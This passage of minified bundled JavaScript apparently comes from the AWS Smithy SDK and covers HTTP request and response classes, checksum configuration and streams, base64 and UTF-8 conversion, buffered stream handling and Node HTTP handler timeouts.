0)K.push({algorithmId:()=>wX5.AlgorithmId.SHA256,checksumConstructor:()=>A.sha256});if(A.md5!=null)K.push({algorithmId:()=>wX5.AlgorithmId.MD5,checksumConstructor:()=>A.md5});return{addChecksumAlgorithm(q){K.push(q)},checksumAlgorithms(){return K}}},KX5=(A)=>{let K={};return A.checksumAlgorithms().forEach((q)=>{K[q.algorithmId()]=q.checksumConstructor()}),K},qX5=(A)=>{return AX5(A)},YX5=(A)=>{return KX5(A)};wX5.FieldPosition=void 0;(function(A){A[A.HEADER=0]="HEADER",A[A.TRAILER=1]="TRAILER"})(wX5.FieldPosition||(wX5.FieldPosition={}));var zX5="__smithy_context";wX5.IniSectionType=void 0;(function(A){A.PROFILE="profile",A.SSO_SESSION="sso-session",A.SERVICES="services"})(wX5.IniSectionType||(wX5.IniSectionType={}));wX5.RequestHandlerProtocol=void 0;(function(A){A.HTTP_0_9="http/0.9",A.HTTP_1_0="http/1.0",A.TDS_8_0="tds/8.0"})(wX5.RequestHandlerProtocol||(wX5.RequestHandlerProtocol={}));wX5.SMITHY_CONTEXT_KEY=zX5;wX5.getDefaultClientConfiguration=qX5;wX5.resolveDefaultRuntimeConfig=YX5});var WD=v((_X5)=>{var Ou8=Ju8(),XX5=(A)=>A[Ou8.SMITHY_CONTEXT_KEY]||(A[Ou8.SMITHY_CONTEXT_KEY]={}),$X5=(A)=>{if(typeof A==="function")return A;let K=Promise.resolve(A);return()=>K};_X5.getSmithyContext=XX5;_X5.normalizeProvider=$X5});var Xu8=v((VX5)=>{VX5.HttpAuthLocation=void 0;(function(A){A.HEADER="header",A.QUERY="query"})(VX5.HttpAuthLocation||(VX5.HttpAuthLocation={}));VX5.HttpApiKeyAuthLocation=void 0;(function(A){A.HEADER="header",A.QUERY="query"})(VX5.HttpApiKeyAuthLocation||(VX5.HttpApiKeyAuthLocation={}));VX5.EndpointURLScheme=void 0;(function(A){A.HTTP="http",A.HTTPS="https"})(VX5.EndpointURLScheme||(VX5.EndpointURLScheme={}));VX5.AlgorithmId=void 0;(function(A){A.MD5="md5",A.CRC32="crc32",A.CRC32C="crc32c",A.SHA1="sha1",A.SHA256="sha256"})(VX5.AlgorithmId||(VX5.AlgorithmId={}));var WX5=(A)=>{let K=[];if(A.sha256!==void 0)K.push({algorithmId:()=>VX5.AlgorithmId.SHA256,checksumConstructor:()=>A.sha256});if(A.md5!=null)K.push({algorithmId:()=>VX5.AlgorithmId.MD5,checksumConstructor:()=>A.md5});return{addChecksumAlgorithm(q){K.push(q)},checksumAlgorithms(){return K}}},DX5=(A)=>{let K={};return A.checksumAlgorithms().forEach((q)=>{K[q.algorithmId()]=q.checksumConstructor()}),K},jX5=(A)=>{return WX5(A)},MX5=(A)=>{return DX5(A)};VX5.FieldPosition=void 0;(function(A){A[A.HEADER=0]="HEADER",A[A.TRAILER=1]="TRAILER"})(VX5.FieldPosition||(VX5.FieldPosition={}));var PX5="__smithy_context";VX5.IniSectionType=void 0;(function(A){A.PROFILE="profile",A.SSO_SESSION="sso-session",A.SERVICES="services"})(VX5.IniSectionType||(VX5.IniSectionType={}));VX5.RequestHandlerProtocol=void 0;(function(A){A.HTTP_0_9="http/0.9",A.HTTP_1_0="http/1.0",A.TDS_8_0="tds/8.0"})(VX5.RequestHandlerProtocol||(VX5.RequestHandlerProtocol={}));VX5.SMITHY_CONTEXT_KEY=PX5;VX5.getDefaultClientConfiguration=jX5;VX5.resolveDefaultRuntimeConfig=MX5});var Zu8=v((RX5)=>{var vX5=Xu8(),EX5=(A)=>{return{setHttpHandler(K){A.httpHandler=K},httpHandler(){return A.httpHandler},updateHttpClientConfig(K,q){A.httpHandler?.updateHttpClientConfig(K,q)},httpHandlerConfigs(){return A.httpHandler.httpHandlerConfigs()}}},kX5=(A)=>{return{httpHandler:A.httpHandler()}};class $u8{name;kind;values;constructor({name:A,kind:K=vX5.FieldPosition.HEADER,values:q=[]}){this.name=A,this.kind=K,this.values=q}add(A){this.values.push(A)}set(A){this.values=A}remove(A){this.values=this.values.filter((K)=>K!==A)}toString(){return this.values.map((A)=>A.includes(",")||A.includes(" ")?`"${A}"`:A).join(", ")}get(){return this.values}}class _u8{entries={};encoding;constructor({fields:A=[],encoding:K="utf-8"}){A.forEach(this.setField.bind(this)),this.encoding=K}setField(A){this.entries[A.name.toLowerCase()]=A}getField(A){return this.entries[A.toLowerCase()]}removeField(A){delete this.entries[A.toLowerCase()]}getByType(A){return Object.values(this.entries).filter((K)=>K.kind===A)}}class Y61{method;protocol;hostname;port;path;query;headers;username;password;fragment;body;constructor(A){this.method=A.method||"GET",this.hostname=A.hostname||"localhost",this.port=A.port,this.query=A.query||{},this.headers=A.headers||{},this.body=A.body,this.protocol=A.protocol?A.protocol.slice(-1)!==":"?`${A.protocol}:`:A.protocol:"https:",this.path=A.path?A.path.charAt(0)!=="/"?`/${A.path}`:A.path:"/",this.username=A.username,this.password=A.password,this.fragment=A.fragment}static clone(A){let K=new Y61({...A,headers:{...A.headers}});if(K.query)K.query=CX5(K.query);return K}static isInstance(A){if(!A)return!1;let K=A;return"method"in K&&"protocol"in K&&"hostname"in K&&"path"in K&&typeof K.query==="object"&&typeof K.headers==="object"}clone(){return Y61.clone(this)}}function CX5(A){return Object.keys(A).reduce((K,q)=>{let Y=A[q];return{...K,[q]:Array.isArray(Y)?[...Y]:Y}},{})}class Gu8{statusCode;reason;headers;body;constructor(A){this.statusCode=A.statusCode,this.reason=A.reason,this.headers=A.headers||{},this.body=A.body}static isInstance(A){if(!A)return!1;let K=A;return typeof K.statusCode==="number"&&typeof K.headers==="object"}}function LX5(A){return/^[a-z0-9][a-z0-9\.\-]*[a-z0-9]$/.test(A)}RX5.Field=$u8;RX5.Fields=_u8;RX5.HttpRequest=Y61;RX5.HttpResponse=Gu8;RX5.getHttpHandlerExtensionConfiguration=EX5;RX5.isValidHostname=LX5;RX5.resolveHttpHandlerRuntimeConfig=kX5});var Ll1=v((gX5)=>{var BX5=Zu8(),Wu8=(A,K)=>(q,Y)=>async(z)=>{let{response:w}=await q(z);try{let H=await K(w,A);return{response:w,output:H}}catch(H){if(Object.defineProperty(H,"$response",{value:w,enumerable:!1,writable:!1,configurable:!1}),!("$metadata"in H)){try{H.message+=` Deserialization error: to see the raw response, inspect the hidden field {error}.$response on this object.`}catch(O){if(!Y.logger||Y.logger?.constructor?.name==="NoOpLogger")console.warn("Deserialization error: to see the raw response, inspect the hidden field {error}.$response on this object.");else Y.logger?.warn?.("Deserialization error: to see the raw response, inspect the hidden field {error}.$response on this object.")}if(typeof H.$responseBodyText<"u"){if(H.$response)H.$response.body=H.$responseBodyText}try{if(BX5.HttpResponse.isInstance(w)){let{headers:O={}}=w,X=Object.entries(O);H.$metadata={httpStatusCode:w.statusCode,requestId:Cl1(/^x-[\w-]+-request-?id$/,X),extendedRequestId:Cl1(/^x-[\w-]+-id-2$/,X),cfId:Cl1(/^x-[\w-]+-cf-id$/,X)}}}catch(O){}}throw H}},Cl1=(A,K)=>{return(K.find(([q])=>{return q.match(A)})||[void 0,void 0])[1]},Du8=(A,K)=>(q,Y)=>async(z)=>{let w=A,H=Y.endpointV2?.url&&w.urlParser?async()=>w.urlParser(Y.endpointV2.url):w.endpoint;if(!H)throw Error("No valid endpoint provider available.");let J=await K(z.input,{...A,endpoint:H});return q({...z,request:J})},ju8={name:"deserializerMiddleware",step:"deserialize",tags:["DESERIALIZER"],override:!0},Mu8={name:"serializerMiddleware",step:"serialize",tags:["SERIALIZER"],override:!0};function mX5(A,K,q){return{applyToStack:(Y)=>{Y.add(Wu8(A,q),ju8),Y.add(Du8(A,K),Mu8)}}}gX5.deserializerMiddleware=Wu8;gX5.deserializerMiddlewareOption=ju8;gX5.getSerdePlugin=mX5;gX5.serializerMiddleware=Du8;gX5.serializerMiddlewareOption=Mu8});var DCA=v((oX5)=>{var cX5=Zl1(),lX5=(A)=>{return{setHttpHandler(K){A.httpHandler=K},httpHandler(){return A.httpHandler},updateHttpClientConfig(K,q){A.httpHandler?.updateHttpClientConfig(K,q)},httpHandlerConfigs(){return A.httpHandler.httpHandlerConfigs()}}},iX5=(A)=>{return{httpHandler:A.httpHandler()}};class Pu8{name;kind;values;constructor({name:A,kind:K=cX5.FieldPosition.HEADER,values:q=[]}){this.name=A,this.kind=K,this.values=q}add(A){this.values.push(A)}set(A){this.values=A}remove(A){this.values=this.values.filter((K)=>K!==A)}toString(){return this.values.map((A)=>A.includes(",")||A.includes(" ")?`"${A}"`:A).join(", ")}get(){return this.values}}class Vu8{entries={};encoding;constructor({fields:A=[],encoding:K="utf-8"}){A.forEach(this.setField.bind(this)),this.encoding=K}setField(A){this.entries[A.name.toLowerCase()]=A}getField(A){return this.entries[A.toLowerCase()]}removeField(A){delete this.entries[A.toLowerCase()]}getByType(A){return Object.values(this.entries).filter((K)=>K.kind===A)}}class z61{method;protocol;hostname;port;path;query;headers;username;password;fragment;body;constructor(A){this.method=A.method||"GET",this.hostname=A.hostname||"localhost",this.port=A.port,this.query=A.query||{},this.headers=A.headers||{},this.body=A.body,this.protocol=A.protocol?A.protocol.slice(-1)!==":"?`${A.protocol}:`:A.protocol:"https:",this.path=A.path?A.path.charAt(0)!=="/"?`/${A.path}`:A.path:"/",this.username=A.username,this.password=A.password,this.fragment=A.fragment}static clone(A){let K=new z61({...A,headers:{...A.headers}});if(K.query)K.query=nX5(K.query);return K}static isInstance(A){if(!A)return!1;let K=A;return"method"in K&&"protocol"in K&&"hostname"in K&&"path"in K&&typeof K.query==="object"&&typeof K.headers==="object"}clone(){return z61.clone(this)}}function nX5(A){return Object.keys(A).reduce((K,q)=>{let Y=A[q];return{...K,[q]:Array.isArray(Y)?[...Y]:Y}},{})}class fu8{statusCode;reason;headers;body;constructor(A){this.statusCode=A.statusCode,this.reason=A.reason,this.headers=A.headers||{},this.body=A.body}static isInstance(A){if(!A)return!1;let K=A;return typeof K.statusCode==="number"&&typeof K.headers==="object"}}function rX5(A){return/^[a-z0-9][a-z0-9\.\-]*[a-z0-9]$/.test(A)}oX5.Field=Pu8;oX5.Fields=Vu8;oX5.HttpRequest=z61;oX5.HttpResponse=fu8;oX5.getHttpHandlerExtensionConfiguration=lX5;oX5.isValidHostname=rX5;oX5.resolveHttpHandlerRuntimeConfig=iX5});var Nu8=v((z$5)=>{var Y$5=(A)=>typeof ArrayBuffer==="function"&&A instanceof ArrayBuffer||Object.prototype.toString.call(A)==="[object ArrayBuffer]";z$5.isArrayBuffer=Y$5});var w61=v((X$5)=>{var H$5=Nu8(),Rl1=CA("buffer"),J$5=(A,K=0,q=A.byteLength-K)=>{if(!H$5.isArrayBuffer(A))throw TypeError(`The "input" argument must be ArrayBuffer. Received type ${typeof A} (${A})`);return Rl1.Buffer.from(A,K,q)},O$5=(A,K)=>{if(typeof A!=="string")throw TypeError(`The "input" argument must be of type string. Received type ${typeof A} (${A})`);return K?Rl1.Buffer.from(A,K):Rl1.Buffer.from(A)};X$5.fromArrayBuffer=J$5;X$5.fromString=O$5});var Eu8=v((Tu8)=>{Object.defineProperty(Tu8,"__esModule",{value:!0});Tu8.fromBase64=void 0;var G$5=w61(),Z$5=/^[A-Za-z0-9+/]*={0,2}$/,W$5=(A)=>{if(A.length*3%4!==0)throw TypeError("Incorrect padding on base64 string.");if(!Z$5.exec(A))throw TypeError("Invalid base64 string.");let K=(0,G$5.fromString)(A,"base64");return new Uint8Array(K.buffer,K.byteOffset,K.byteLength)};Tu8.fromBase64=W$5});var ku8=v((j$5)=>{var D$5=(A)=>typeof ArrayBuffer==="function"&&A instanceof ArrayBuffer||Object.prototype.toString.call(A)==="[object ArrayBuffer]";j$5.isArrayBuffer=D$5});var Cu8=v((N$5)=>{var P$5=ku8(),yl1=CA("buffer"),V$5=(A,K=0,q=A.byteLength-K)=>{if(!P$5.isArrayBuffer(A))throw TypeError(`The "input" argument must be ArrayBuffer. Received type ${typeof A} (${A})`);return yl1.Buffer.from(A,K,q)},f$5=(A,K)=>{if(typeof A!=="string")throw TypeError(`The "input" argument must be of type string. Received type ${typeof A} (${A})`);return K?yl1.Buffer.from(A,K):yl1.Buffer.from(A)};N$5.fromArrayBuffer=V$5;N$5.fromString=f$5});var _z=v((C$5)=>{var Lu8=Cu8(),Ru8=(A)=>{let K=Lu8.fromString(A,"utf8");return new Uint8Array(K.buffer,K.byteOffset,K.byteLength/Uint8Array.BYTES_PER_ELEMENT)},E$5=(A)=>{if(typeof A==="string")return Ru8(A);if(ArrayBuffer.isView(A))return new Uint8Array(A.buffer,A.byteOffset,A.byteLength/Uint8Array.BYTES_PER_ELEMENT);return new Uint8Array(A)},k$5=(A)=>{if(typeof A==="string")return A;if(typeof A!=="object"||typeof A.byteOffset!=="number"||typeof A.byteLength!=="number")throw Error("@smithy/util-utf8: toUtf8 encoder function only accepts string | Uint8Array.");return Lu8.fromArrayBuffer(A.buffer,A.byteOffset,A.byteLength).toString("utf8")};C$5.fromUtf8=Ru8;C$5.toUint8Array=E$5;C$5.toUtf8=k$5});var Su8=v((yu8)=>{Object.defineProperty(yu8,"__esModule",{value:!0});yu8.toBase64=void 0;var I$5=w61(),S$5=_z(),h$5=(A)=>{let K;if(typeof A==="string")K=(0,S$5.fromUtf8)(A);else K=A;if(typeof K!=="object"||typeof K.byteOffset!=="number"||typeof K.byteLength!=="number")throw Error("@smithy/util-base64: toBase64 encoder function only accepts string | Uint8Array.");return(0,I$5.fromArrayBuffer)(K.buffer,K.byteOffset,K.byteLength).toString("base64")};yu8.toBase64=h$5});var oJA=v((jCA)=>{var hu8=Eu8(),bu8=Su8();Object.keys(hu8).forEach(function(A){if(A!=="default"&&!Object.prototype.hasOwnProperty.call(jCA,A))Object.defineProperty(jCA,A,{enumerable:!0,get:function(){return hu8[A]}})});Object.keys(bu8).forEach(function(A){if(A!=="default"&&!Object.prototype.hasOwnProperty.call(jCA,A))Object.defineProperty(jCA,A,{enumerable:!0,get:function(){return bu8[A]}})})});var Il1=v((uu8)=>{Object.defineProperty(uu8,"__esModule",{value:!0});uu8.ChecksumStream=void 0;var b$5=oJA(),x$5=CA("stream");class xu8 extends x$5.Duplex{expectedChecksum;checksumSourceLocation;checksum;source;base64Encoder;constructor({expectedChecksum:A,checksum:K,source:q,checksumSourceLocation:Y,base64Encoder:z}){super();if(typeof q.pipe==="function")this.source=q;else throw Error(`@smithy/util-stream: unsupported source type ${q?.constructor?.name??q} in ChecksumStream.`);this.base64Encoder=z??b$5.toBase64,this.expectedChecksum=A,this.checksum=K,this.checksumSourceLocation=Y,this.source.pipe(this)}_read(A){}_write(A,K,q){try{this.checksum.update(A),this.push(A)}catch(Y){return q(Y)}return q()}async _final(A){try{let K=await this.checksum.digest(),q=this.base64Encoder(K);if(this.expectedChecksum!==q)return A(Error(`Checksum mismatch: expected "${this.expectedChecksum}" but received "${q}" in response header "${this.checksumSourceLocation}".`))}catch(K){return A(K)}return this.push(null),A()}}uu8.ChecksumStream=xu8});var ii=v((mu8)=>{Object.defineProperty(mu8,"__esModule",{value:!0});mu8.isBlob=mu8.isReadableStream=void 0;var u$5=(A)=>typeof ReadableStream==="function"&&(A?.constructor?.name===ReadableStream.name||A instanceof ReadableStream);mu8.isReadableStream=u$5;var B$5=(A)=>{return typeof Blob==="function"&&(A?.constructor?.name===Blob.name||A instanceof Blob)};mu8.isBlob=B$5});var pu8=v((Qu8)=>{Object.defineProperty(Qu8,"__esModule",{value:!0});Qu8.ChecksumStream=void 0;var g$5=typeof ReadableStream==="function"?ReadableStream:function(){};class Fu8 extends g$5{}Qu8.ChecksumStream=Fu8});var lu8=v((du8)=>{Object.defineProperty(du8,"__esModule",{value:!0});du8.createChecksumStream=void 0;var F$5=oJA(),Q$5=ii(),U$5=pu8(),p$5=({expectedChecksum:A,checksum:K,source:q,checksumSourceLocation:Y,base64Encoder:z})=>{if(!(0,Q$5.isReadableStream)(q))throw Error(`@smithy/util-stream: unsupported source type ${q?.constructor?.name??q} in ChecksumStream.`);let w=z??F$5.toBase64;if(typeof TransformStream!=="function")throw Error("@smithy/util-stream: unable to instantiate ChecksumStream because API unavailable: ReadableStream/TransformStream.");let H=new TransformStream({start(){},async transform(O,X){K.update(O),X.enqueue(O)},async flush(O){let X=await K.digest(),$=w(X);if(A!==$){let _=Error(`Checksum mismatch: expected "${A}" but received "${$}" in response header "${Y}".`);O.error(_)}else O.terminate()}});q.pipeThrough(H);let J=H.readable;return Object.setPrototypeOf(J,U$5.ChecksumStream.prototype),J};du8.createChecksumStream=p$5});var nu8=v((iu8)=>{Object.defineProperty(iu8,"__esModule",{value:!0});iu8.createChecksumStream=i$5;var d$5=ii(),c$5=Il1(),l$5=lu8();function i$5(A){if(typeof ReadableStream==="function"&&(0,d$5.isReadableStream)(A.source))return(0,l$5.createChecksumStream)(A);return new c$5.ChecksumStream(A)}});var Sl1=v((ou8)=>{Object.defineProperty(ou8,"__esModule",{value:!0});ou8.ByteArrayCollector=void 0;class ru8{allocByteArray;byteLength=0;byteArrays=[];constructor(A){this.allocByteArray=A}push(A){this.byteArrays.push(A),this.byteLength+=A.byteLength}flush(){if(this.byteArrays.length===1){let q=this.byteArrays[0];return this.reset(),q}let A=this.allocByteArray(this.byteLength),K=0;for(let q=0;q<this.byteArrays.length;++q){let Y=this.byteArrays[q];A.set(Y,K),K+=Y.byteLength}return this.reset(),A}reset(){this.byteArrays=[],this.byteLength=0}}ou8.ByteArrayCollector=ru8});var qB8=v((AB8)=>{Object.defineProperty(AB8,"__esModule",{value:!0});AB8.createBufferedReadable=void 0;AB8.createBufferedReadableStream=su8;AB8.merge=tu8;AB8.flush=H61;AB8.sizeOf=aJA;AB8.modeOf=eu8;var r$5=Sl1();function su8(A,K,q){let Y=A.getReader(),z=!1,w=0,H=["",new r$5.ByteArrayCollector((X)=>new Uint8Array(X))],J=-1,O=async(X)=>{let{value:$,done:_}=await Y.read(),G=$;if(_){if(J!==-1){let Z=H61(H,J);if(aJA(Z)>0)X.enqueue(Z)}X.close()}else{let Z=eu8(G,!1);if(J!==Z){if(J>=0)X.enqueue(H61(H,J));J=Z}if(J===-1){X.enqueue(G);return}let W=aJA(G);w+=W;let D=aJA(H[J]);if(W>=K&&D===0)X.enqueue(G);else{let j=tu8(H,J,G);if(!z&&w>K*2)z=!0,q?.warn(`@smithy/util-stream - stream chunk size ${W} is below threshold of ${K}, automatically buffering.`);if(j>=K)X.enqueue(H61(H,J));else await O(X)}}};return new ReadableStream({pull:O})}AB8.createBufferedReadable=su8;function tu8(A,K,q){switch(K){case 0:return A[0]+=q,aJA(A[0]);case 1:case 2:return A[K].push(q),aJA(A[K])}}function H61(A,K){switch(K){case 0:let q=A[0];return A[0]="",q;case 1:case 2:return A[K].flush()}throw Error(`@smithy/util-stream - invalid index ${K} given to flush()`)}function aJA(A){return A?.byteLength??A?.length??0}function eu8(A,K=!0){if(K&&typeof Buffer<"u"&&A instanceof Buffer)return 2;if(A instanceof Uint8Array)return 1;if(typeof A==="string")return 0;return-1}});var wB8=v((zB8)=>{Object.defineProperty(zB8,"__esModule",{value:!0});zB8.createBufferedReadable=q_5;var A_5=CA("node:stream"),YB8=Sl1(),FF=qB8(),K_5=ii();function q_5(A,K,q){if((0,K_5.isReadableStream)(A))return(0,FF.createBufferedReadableStream)(A,K,q);let Y=new A_5.Readable({read(){}}),z=!1,w=0,H=["",new YB8.ByteArrayCollector((O)=>new Uint8Array(O)),new YB8.ByteArrayCollector((O)=>Buffer.from(new Uint8Array(O)))],J=-1;return A.on("data",(O)=>{let X=(0,FF.modeOf)(O,!0);if(J!==X){if(J>=0)Y.push((0,FF.flush)(H,J));J=X}if(J===-1){Y.push(O);return}let $=(0,FF.sizeOf)(O);w+=$;let _=(0,FF.sizeOf)(H[J]);if($>=K&&_===0)Y.push(O);else{let G=(0,FF.merge)(H,J,O);if(!z&&w>K*2)z=!0,q?.warn(`@smithy/util-stream - stream chunk size ${$} is below threshold of ${K}, automatically buffering.`);if(G>=K)Y.push((0,FF.flush)(H,J))}}),A.on("end",()=>{if(J!==-1){let O=(0,FF.flush)(H,J);if((0,FF.sizeOf)(O)>0)Y.push(O)}Y.push(null)}),Y}});var OB8=v((HB8)=>{Object.defineProperty(HB8,"__esModule",{value:!0});HB8.getAwsChunkedEncodingStream=void 0;var z_5=CA("stream"),w_5=(A,K)=>{let{base64Encoder:q,bodyLengthChecker:Y,checksumAlgorithmFn:z,checksumLocationName:w,streamHasher:H}=K,J=q!==void 0&&z!==void 0&&w!==void 0&&H!==void 0,O=J?H(z,A):void 0,X=new z_5.Readable({read:()=>{}});return A.on("data",($)=>{let _=Y($)||0;X.push(`${_.toString(16)}\r `),X.push($),X.push(`\r `)}),A.on("end",async()=>{if(X.push(`0\r `),J){let $=q(await O);X.push(`${w}:${$}\r `),X.push(`\r `)}X.push(null)}),X};HB8.getAwsChunkedEncodingStream=w_5});var $B8=v((XB8)=>{Object.defineProperty(XB8,"__esModule",{value:!0});XB8.headStream=H_5;async function H_5(A,K){let q=0,Y=[],z=A.getReader(),w=!1;while(!w){let{done:O,value:X}=await z.read();if(X)Y.push(X),q+=X?.byteLength??0;if(q>=K)break;w=O}z.releaseLock();let H=new Uint8Array(Math.min(K,q)),J=0;for(let O of Y){if(O.byteLength>H.byteLength-J){H.set(O.subarray(0,H.byteLength-J),J);break}else H.set(O,J);J+=O.length}return H}});var WB8=v((GB8)=>{Object.defineProperty(GB8,"__esModule",{value:!0});GB8.headStream=void 0;var O_5=CA("stream"),X_5=$B8(),$_5=ii(),__5=(A,K)=>{if((0,$_5.isReadableStream)(A))return(0,X_5.headStream)(A,K);return new Promise((q,Y)=>{let z=new _B8;z.limit=K,A.pipe(z),A.on("error",(w)=>{z.end(),Y(w)}),z.on("error",Y),z.on("finish",function(){let w=new Uint8Array(Buffer.concat(this.buffers));q(w)})})};GB8.headStream=__5;class _B8 extends O_5.Writable{buffers=[];limit=1/0;bytesBuffered=0;_write(A,K,q){if(this.buffers.push(A),this.bytesBuffered+=A.byteLength??0,this.bytesBuffered>=this.limit){let Y=this.bytesBuffered-this.limit,z=this.buffers[this.buffers.length-1];this.buffers[this.buffers.length-1]=z.subarray(0,z.byteLength-Y),this.emit("finish")}q()}}});var DB8=v((M_5)=>{M_5.HttpAuthLocation=void 0;(function(A){A.HEADER="header",A.QUERY="query"})(M_5.HttpAuthLocation||(M_5.HttpAuthLocation={}));M_5.HttpApiKeyAuthLocation=void 0;(function(A){A.HEADER="header",A.QUERY="query"})(M_5.HttpApiKeyAuthLocation||(M_5.HttpApiKeyAuthLocation={}));M_5.EndpointURLScheme=void 0;(function(A){A.HTTP="http",A.HTTPS="https"})(M_5.EndpointURLScheme||(M_5.EndpointURLScheme={}));M_5.AlgorithmId=void 0;(function(A){A.MD5="md5",A.CRC32="crc32",A.CRC32C="crc32c",A.SHA1="sha1",A.SHA256="sha256"})(M_5.AlgorithmId||(M_5.AlgorithmId={}));var G_5=(A)=>{let K=[];if(A.sha256!==void 0)K.push({algorithmId:()=>M_5.AlgorithmId.SHA256,checksumConstructor:()=>A.sha256});if(A.md5!=null)K.push({algorithmId:()=>M_5.AlgorithmId.MD5,checksumConstructor:()=>A.md5});return{addChecksumAlgorithm(q){K.push(q)},checksumAlgorithms(){return K}}},Z_5=(A)=>{let K={};return A.checksumAlgorithms().forEach((q)=>{K[q.algorithmId()]=q.checksumConstructor()}),K},W_5=(A)=>{return G_5(A)},D_5=(A)=>{return Z_5(A)};M_5.FieldPosition=void 0;(function(A){A[A.HEADER=0]="HEADER",A[A.TRAILER=1]="TRAILER"})(M_5.FieldPosition||(M_5.FieldPosition={}));var j_5="__smithy_context";M_5.IniSectionType=void 0;(function(A){A.PROFILE="profile",A.SSO_SESSION="sso-session",A.SERVICES="services"})(M_5.IniSectionType||(M_5.IniSectionType={}));M_5.RequestHandlerProtocol=void 0;(function(A){A.HTTP_0_9="http/0.9",A.HTTP_1_0="http/1.0",A.TDS_8_0="tds/8.0"})(M_5.RequestHandlerProtocol||(M_5.RequestHandlerProtocol={}));M_5.SMITHY_CONTEXT_KEY=j_5;M_5.getDefaultClientConfiguration=W_5;M_5.resolveDefaultRuntimeConfig=D_5});var VB8=v((C_5)=>{var N_5=DB8(),T_5=(A)=>{return{setHttpHandler(K){A.httpHandler=K},httpHandler(){return A.httpHandler},updateHttpClientConfig(K,q){A.httpHandler?.updateHttpClientConfig(K,q)},httpHandlerConfigs(){return A.httpHandler.httpHandlerConfigs()}}},v_5=(A)=>{return{httpHandler:A.httpHandler()}};class jB8{name;kind;values;constructor({name:A,kind:K=N_5.FieldPosition.HEADER,values:q=[]}){this.name=A,this.kind=K,this.values=q}add(A){this.values.push(A)}set(A){this.values=A}remove(A){this.values=this.values.filter((K)=>K!==A)}toString(){return this.values.map((A)=>A.includes(",")||A.includes(" ")?`"${A}"`:A).join(", ")}get(){return this.values}}class MB8{entries={};encoding;constructor({fields:A=[],encoding:K="utf-8"}){A.forEach(this.setField.bind(this)),this.encoding=K}setField(A){this.entries[A.name.toLowerCase()]=A}getField(A){return this.entries[A.toLowerCase()]}removeField(A){delete this.entries[A.toLowerCase()]}getByType(A){return Object.values(this.entries).filter((K)=>K.kind===A)}}class J61{method;protocol;hostname;port;path;query;headers;username;password;fragment;body;constructor(A){this.method=A.method||"GET",this.hostname=A.hostname||"localhost",this.port=A.port,this.query=A.query||{},this.headers=A.headers||{},this.body=A.body,this.protocol=A.protocol?A.protocol.slice(-1)!==":"?`${A.protocol}:`:A.protocol:"https:",this.path=A.path?A.path.charAt(0)!=="/"?`/${A.path}`:A.path:"/",this.username=A.username,this.password=A.password,this.fragment=A.fragment}static clone(A){let K=new J61({...A,headers:{...A.headers}});if(K.query)K.query=E_5(K.query);return K}static isInstance(A){if(!A)return!1;let K=A;return"method"in K&&"protocol"in K&&"hostname"in K&&"path"in K&&typeof K.query==="object"&&typeof K.headers==="object"}clone(){return J61.clone(this)}}function E_5(A){return Object.keys(A).reduce((K,q)=>{let Y=A[q];return{...K,[q]:Array.isArray(Y)?[...Y]:Y}},{})}class PB8{statusCode;reason;headers;body;constructor(A){this.statusCode=A.statusCode,this.reason=A.reason,this.headers=A.headers||{},this.body=A.body}static isInstance(A){if(!A)return!1;let K=A;return typeof K.statusCode==="number"&&typeof K.headers==="object"}}function k_5(A){return/^[a-z0-9][a-z0-9\.\-]*[a-z0-9]$/.test(A)}C_5.Field=jB8;C_5.Fields=MB8;C_5.HttpRequest=J61;C_5.HttpResponse=PB8;C_5.getHttpHandlerExtensionConfiguration=T_5;C_5.isValidHostname=k_5;C_5.resolveHttpHandlerRuntimeConfig=v_5});var NB8=v((B_5)=>{var fB8=(A)=>encodeURIComponent(A).replace(/[!'()*]/g,x_5),x_5=(A)=>`%${A.charCodeAt(0).toString(16).toUpperCase()}`,u_5=(A)=>A.split("/").map(fB8).join("/");B_5.escapeUri=fB8;B_5.escapeUriPath=u_5});var TB8=v((Q_5)=>{var gl1=NB8();function F_5(A){let K=[];for(let q of Object.keys(A).sort()){let Y=A[q];if(q=gl1.escapeUri(q),Array.isArray(Y))for(let z=0,w=Y.length;z<w;z++)K.push(`${q}=${gl1.escapeUri(Y[z])}`);else{let z=q;if(Y||typeof Y==="string")z+=`=${gl1.escapeUri(Y)}`;K.push(z)}}return K.join("&")}Q_5.buildQueryString=F_5});var zT=v((e_5)=>{var CB8=VB8(),LB8=TB8(),O61=CA("http"),X61=CA("https"),RB8=CA("stream"),Fl1=CA("http2"),p_5=["ECONNRESET","EPIPE","ETIMEDOUT"],yB8=(A)=>{let K={};for(let q of Object.keys(A)){let Y=A[q];K[q]=Array.isArray(Y)?Y.join(","):Y}return K},sj={setTimeout:(A,K)=>setTimeout(A,K),clearTimeout:(A)=>clearTimeout(A)},vB8=1000,d_5=(A,K,q=0)=>{if(!q)return-1;let Y=(z)=>{let w=sj.setTimeout(()=>{A.destroy(),K(Object.assign(Error(`@smithy/node-http-handler - the request socket did not establish a connection with the server within the configured timeout of ${q} ms.`),{name:"TimeoutError"}))},q-z),H=(J)=>{if(J?.connecting)J.on("connect",()=>{sj.clearTimeout(w)});else sj.clearTimeout(w)};if(A.socket)H(A.socket);else A.on("socket",H)};if(q<2000)return Y(0),0;return sj.setTimeout(Y.bind(null,vB8),vB8)},c_5=(A,K,q=0,Y,z)=>{if(q)return sj.setTimeout(()=>{let w=`@smithy/node-http-handler - [${Y?"ERROR":"WARN"}] a request has exceeded the configured ${q} ms requestTimeout.`;if(Y){let H=Object.assign(Error(w),{name:"TimeoutError",code:"ETIMEDOUT"});A.destroy(H),K(H)}else w+=" Init client requestHandler with throwOnRequestTimeout=true to turn this into an error.",z?.warn?.(w)},q);return-1},l_5=3000,i_5=(A,{keepAlive:K,keepAliveMsecs:q},Y=l_5)=>{if(K!==!0)return-1;let z=()=>{if(A.socket)A.socket.setKeepAlive(K,q||0);else A.on("socket",(w)=>{w.setKeepAlive(K,q||0)})};if(Y===0)return z(),0;return sj.setTimeout(z,Y)},EB8=3000,n_5=(A,K,q=0)=>{let Y=(z)=>{let w=q-z,H=()=>{A.destroy(),K(Object.assign(Error(`@smithy/node-http-handler - the request socket timed out after ${q} ms of inactivity (configured by client requestHandler).`),{name:"TimeoutError"}))};if(A.socket)A.socket.setTimeout(w,H),A.on("close",()=>A.socket?.removeListener("timeout",H));else A.setTimeout(w,H)};if(0<q&&q<6000)return Y(0),0;return sj.setTimeout(Y.bind(null,q===0?0:EB8),EB8)},kB8=6000;async function IB8(A,K,q=kB8,Y=!1){let z=K.headers??{},w=z.Expect||z.expect,H=-1,J=!0;if(!Y&&w==="100-continue")J=await Promise.race([new Promise((O)=>{H=Number(sj.setTimeout(()=>O(!0),Math.max(kB8,q)))}),new 